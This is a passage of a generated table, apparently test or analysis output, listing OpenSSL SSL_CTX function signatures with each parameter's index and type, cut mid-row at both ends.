| 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_verify_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_cookie_verify_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_info_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_info_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_msg_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_msg_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_not_resumable_session_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_not_resumable_session_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_record_padding_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_record_padding_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_security_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_security_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_client_pwd_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_client_pwd_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_username_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_username_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_verify_param_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_srp_verify_param_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_generate_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_generate_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_verify_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_stateless_cookie_verify_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_tlsext_ticket_key_evp_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_tlsext_ticket_key_evp_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_tmp_dh_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..)) | | SSL_CTX_set_tmp_dh_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_cb | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_cb | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_cb | 2 | void * | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_verify_callback | 0 | SSL_CTX * | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_verify_callback | 1 | ..(*)(..) | +| (SSL_CTX *,..(*)(..),void *) | | SSL_CTX_set_cert_verify_callback | 2 | void * | +| (SSL_CTX *,CTLOG_STORE *) | | SSL_CTX_set0_ctlog_store | 0 | SSL_CTX * | +| (SSL_CTX *,CTLOG_STORE *) | | SSL_CTX_set0_ctlog_store | 1 | CTLOG_STORE * | +| (SSL_CTX *,ENGINE *) | | SSL_CTX_set_client_cert_engine | 0 | SSL_CTX * | +| (SSL_CTX *,ENGINE *) | | SSL_CTX_set_client_cert_engine | 1 | ENGINE * | +| (SSL_CTX *,EVP_PKEY *) | | SSL_CTX_set0_tmp_dh_pkey | 0 | SSL_CTX * | +| (SSL_CTX *,EVP_PKEY *) | | SSL_CTX_set0_tmp_dh_pkey | 1 | EVP_PKEY * | +| (SSL_CTX *,GEN_SESSION_CB) | | SSL_CTX_set_generate_session_id | 0 | SSL_CTX * | +| (SSL_CTX *,GEN_SESSION_CB) | | SSL_CTX_set_generate_session_id | 1 | GEN_SESSION_CB | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 0 | SSL_CTX * | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 1 | SRP_ARG * | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 2 | int | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 3 | int | +| (SSL_CTX *,SRP_ARG *,int,int,int) | | set_up_srp_arg | 4 | int | +| (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 0 | SSL_CTX * | +| (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 1 | SSL * | +| (SSL_CTX *,SSL *,const SSL_METHOD *) | | ossl_ssl_connection_new_int | 2 | const SSL_METHOD * | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 1 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 2 | SSL ** | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 3 | SSL ** | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 4 | BIO * | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,BIO *,BIO *) | | create_ssl_objects | 5 | BIO * | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 1 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 2 | SSL ** | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 3 | SSL ** | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 4 | int | +| (SSL_CTX *,SSL_CTX *,SSL **,SSL **,int,int) | | create_ssl_objects2 | 5 | int | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 1 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 2 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 3 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 4 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_CTX *) | | do_handshake | 5 | const SSL_TEST_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 1 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 2 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 3 | const SSL_TEST_EXTRA_CONF * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 4 | CTX_DATA * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 5 | CTX_DATA * | +| (SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *) | | configure_handshake_ctx_for_srp | 6 | CTX_DATA * | +| (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 1 | SSL_CTX_alpn_select_cb_func | +| (SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *) | | SSL_CTX_set_alpn_select_cb | 2 | void * | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 1 | SSL_CTX_generate_session_ticket_fn | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 2 | SSL_CTX_decrypt_session_ticket_fn | +| (SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *) | | SSL_CTX_set_session_ticket_cb | 3 | void * | +| (SSL_CTX *,SSL_CTX_keylog_cb_func) | | SSL_CTX_set_keylog_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_keylog_cb_func) | | SSL_CTX_set_keylog_callback | 1 | SSL_CTX_keylog_cb_func | +| (SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *) | | SSL_CTX_set_next_protos_advertised_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *) | | SSL_CTX_set_next_protos_advertised_cb | 1 | SSL_CTX_npn_advertised_cb_func | +| (SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *) | | SSL_CTX_set_next_protos_advertised_cb | 2 | void * | +| (SSL_CTX *,SSL_CTX_npn_select_cb_func,void *) | | SSL_CTX_set_next_proto_select_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_CTX_npn_select_cb_func,void *) | | SSL_CTX_set_next_proto_select_cb | 1 | SSL_CTX_npn_select_cb_func | +| (SSL_CTX *,SSL_CTX_npn_select_cb_func,void *) | | SSL_CTX_set_next_proto_select_cb | 2 | void * | +| (SSL_CTX *,SSL_EXCERT *) | | ssl_ctx_set_excert | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_EXCERT *) | | ssl_ctx_set_excert | 1 | SSL_EXCERT * | +| (SSL_CTX *,SSL_SESSION *) | | SSL_CTX_add_session | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_SESSION *) | | SSL_CTX_add_session | 1 | SSL_SESSION * | +| (SSL_CTX *,SSL_allow_early_data_cb_fn,void *) | | SSL_CTX_set_allow_early_data_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_allow_early_data_cb_fn,void *) | | SSL_CTX_set_allow_early_data_cb | 1 | SSL_allow_early_data_cb_fn | +| (SSL_CTX *,SSL_allow_early_data_cb_fn,void *) | | SSL_CTX_set_allow_early_data_cb | 2 | void * | +| (SSL_CTX *,SSL_async_callback_fn) | | SSL_CTX_set_async_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_async_callback_fn) | | SSL_CTX_set_async_callback | 1 | SSL_async_callback_fn | +| (SSL_CTX *,SSL_client_hello_cb_fn,void *) | | SSL_CTX_set_client_hello_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_client_hello_cb_fn,void *) | | SSL_CTX_set_client_hello_cb | 1 | SSL_client_hello_cb_fn | +| (SSL_CTX *,SSL_client_hello_cb_fn,void *) | | SSL_CTX_set_client_hello_cb | 2 | void * | +| (SSL_CTX *,SSL_new_pending_conn_cb_fn,void *) | | SSL_CTX_set_new_pending_conn_cb | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_new_pending_conn_cb_fn,void *) | | SSL_CTX_set_new_pending_conn_cb | 1 | SSL_new_pending_conn_cb_fn | +| (SSL_CTX *,SSL_new_pending_conn_cb_fn,void *) | | SSL_CTX_set_new_pending_conn_cb | 2 | void * | +| (SSL_CTX *,SSL_psk_client_cb_func) | | SSL_CTX_set_psk_client_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_client_cb_func) | | SSL_CTX_set_psk_client_callback | 1 | SSL_psk_client_cb_func | +| (SSL_CTX *,SSL_psk_find_session_cb_func) | | SSL_CTX_set_psk_find_session_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_find_session_cb_func) | | SSL_CTX_set_psk_find_session_callback | 1 | SSL_psk_find_session_cb_func | +| (SSL_CTX *,SSL_psk_server_cb_func) | | SSL_CTX_set_psk_server_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_server_cb_func) | | SSL_CTX_set_psk_server_callback | 1 | SSL_psk_server_cb_func | +| (SSL_CTX *,SSL_psk_use_session_cb_func) | | SSL_CTX_set_psk_use_session_callback | 0 | SSL_CTX * | +| (SSL_CTX *,SSL_psk_use_session_cb_func) | | SSL_CTX_set_psk_use_session_callback | 1 | SSL_psk_use_session_cb_func | +| (SSL_CTX *,X509 *) | | SSL_CTX_use_certificate | 0 | SSL_CTX * | +| (SSL_CTX *,X509 *) | | SSL_CTX_use_certificate | 1 | X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 0 | SSL_CTX * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 1 | X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 2 | EVP_PKEY * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 3 | stack_st_X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | SSL_CTX_use_cert_and_key | 4 | int | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 0 | SSL_CTX * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 1 | X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 2 | EVP_PKEY * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 3 | stack_st_X509 * | +| (SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int) | | set_cert_key_stuff | 4 | int | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set1_cert_store | 0 | SSL_CTX * | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set1_cert_store | 1 | X509_STORE * | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set_cert_store | 0 | SSL_CTX * | +| (SSL_CTX *,X509_STORE *) | | SSL_CTX_set_cert_store | 1 | X509_STORE * | +| (SSL_CTX *,X509_VERIFY_PARAM *) | | SSL_CTX_set1_param | 0 | SSL_CTX * | +| (SSL_CTX *,X509_VERIFY_PARAM *) | | SSL_CTX_set1_param | 1 | X509_VERIFY_PARAM * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 0 | SSL_CTX * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 1 | char * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 0 | SSL_CTX * | +| (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 1 | char * | +| (SSL_CTX *,char *,char *) | | set_cert_stuff | 0 | SSL_CTX * | +| (SSL_CTX *,char *,char *) | | set_cert_stuff | 1 | char * | +| (SSL_CTX *,char *,char *) | | set_cert_stuff | 2 | char * | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 0 | SSL_CTX * | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 1 | const EVP_MD * | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 2 | uint8_t | +| (SSL_CTX *,const EVP_MD *,uint8_t,uint8_t) | | SSL_CTX_dane_mtype_set | 3 | uint8_t | +| (SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **) | | tls1_lookup_md | 0 | SSL_CTX * | +| (SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **) | | tls1_lookup_md | 1 | const SIGALG_LOOKUP * | +| (SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **) | | tls1_lookup_md | 2 | const EVP_MD ** | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **) | | ssl_cipher_get_evp_cipher | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **) | | ssl_cipher_get_evp_cipher | 1 | const SSL_CIPHER * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **) | | ssl_cipher_get_evp_cipher | 2 | const EVP_CIPHER ** | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 1 | const SSL_CIPHER * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 2 | const EVP_MD ** | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 3 | int * | +| (SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *) | | ssl_cipher_get_evp_md_mac | 4 | size_t * | +| (SSL_CTX *,const SSL_METHOD *) | | SSL_CTX_set_ssl_version | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_METHOD *) | | SSL_CTX_set_ssl_version | 1 | const SSL_METHOD * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 0 | SSL_CTX * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 1 | const SSL_SESSION * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 2 | const EVP_CIPHER ** | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 3 | const EVP_MD ** | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 4 | int * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 5 | size_t * | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 6 | SSL_COMP ** | +| (SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int) | | ssl_cipher_get_evp | 7 | int | +| (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 0 | SSL_CTX * | +| (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | const char * | +| (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 0 | SSL_CTX * | +| (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | const char * | +| (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 0 | SSL_CTX * | +| (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | const char * | +| (SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_RSAPrivateKey_ASN1 | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_RSAPrivateKey_ASN1 | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,long) | | SSL_CTX_use_RSAPrivateKey_ASN1 | 2 | long | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_client_cert_type | 2 | size_t | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,size_t) | | SSL_CTX_set1_server_cert_type | 2 | size_t | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_alpn_protos | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_alpn_protos | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_alpn_protos | 2 | unsigned int | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_session_id_context | 0 | SSL_CTX * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_session_id_context | 1 | const unsigned char * | +| (SSL_CTX *,const unsigned char *,unsigned int) | | SSL_CTX_set_session_id_context | 2 | unsigned int | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 0 | SSL_CTX * | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 1 | custom_ext_methods * | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 2 | ENDPOINT | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 3 | unsigned int | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 4 | unsigned int | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 5 | SSL_custom_ext_add_cb_ex | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 6 | SSL_custom_ext_free_cb_ex | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 7 | void * | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 8 | SSL_custom_ext_parse_cb_ex | +| (SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *) | | ossl_tls_add_custom_ext_intern | 9 | void * | +| (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_purpose | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_security_level | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_trust | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | int | +| (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | int | +| (SSL_CTX *,int) | | ssl_md | 0 | SSL_CTX * | +| (SSL_CTX *,int) | | ssl_md | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | SSL_CTX_callback_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..)) | | SSL_CTX_callback_ctrl | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | SSL_CTX_callback_ctrl | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..)) | | ossl_quic_ctx_callback_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..)) | | ossl_quic_ctx_callback_ctrl | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | ossl_quic_ctx_callback_ctrl | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..)) | | ssl3_ctx_callback_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..)) | | ssl3_ctx_callback_ctrl | 1 | int | +| (SSL_CTX *,int,..(*)(..)) | | ssl3_ctx_callback_ctrl | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 0 | SSL_CTX * | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 1 | int | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 2 | ..(*)(..) | +| (SSL_CTX *,int,..(*)(..),SSL_verify_cb) | | SSL_CTX_set_verify | 3 | SSL_verify_cb | +| (SSL_CTX *,int,const unsigned char *) | | SSL_CTX_use_certificate_ASN1 | 0 | SSL_CTX * | +| (SSL_CTX *,int,const unsigned char *) | | SSL_CTX_use_certificate_ASN1 | 1 | int | +| (SSL_CTX *,int,const unsigned char *) | | SSL_CTX_use_certificate_ASN1 | 2 | const unsigned char * | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 1 | int | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 2 | long | +| (SSL_CTX *,int,long,void *) | | SSL_CTX_ctrl | 3 | void * | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 1 | int | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 2 | long | +| (SSL_CTX *,int,long,void *) | | ossl_quic_ctx_ctrl | 3 | void * | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 0 | SSL_CTX * | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 1 | int | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 2 | long | +| (SSL_CTX *,int,long,void *) | | ssl3_ctx_ctrl | 3 | void * | +| (SSL_CTX *,long) | | SSL_CTX_set_timeout | 0 | SSL_CTX * | +| (SSL_CTX *,long) | | SSL_CTX_set_timeout | 1 | long | +| (SSL_CTX *,pem_password_cb *) | | 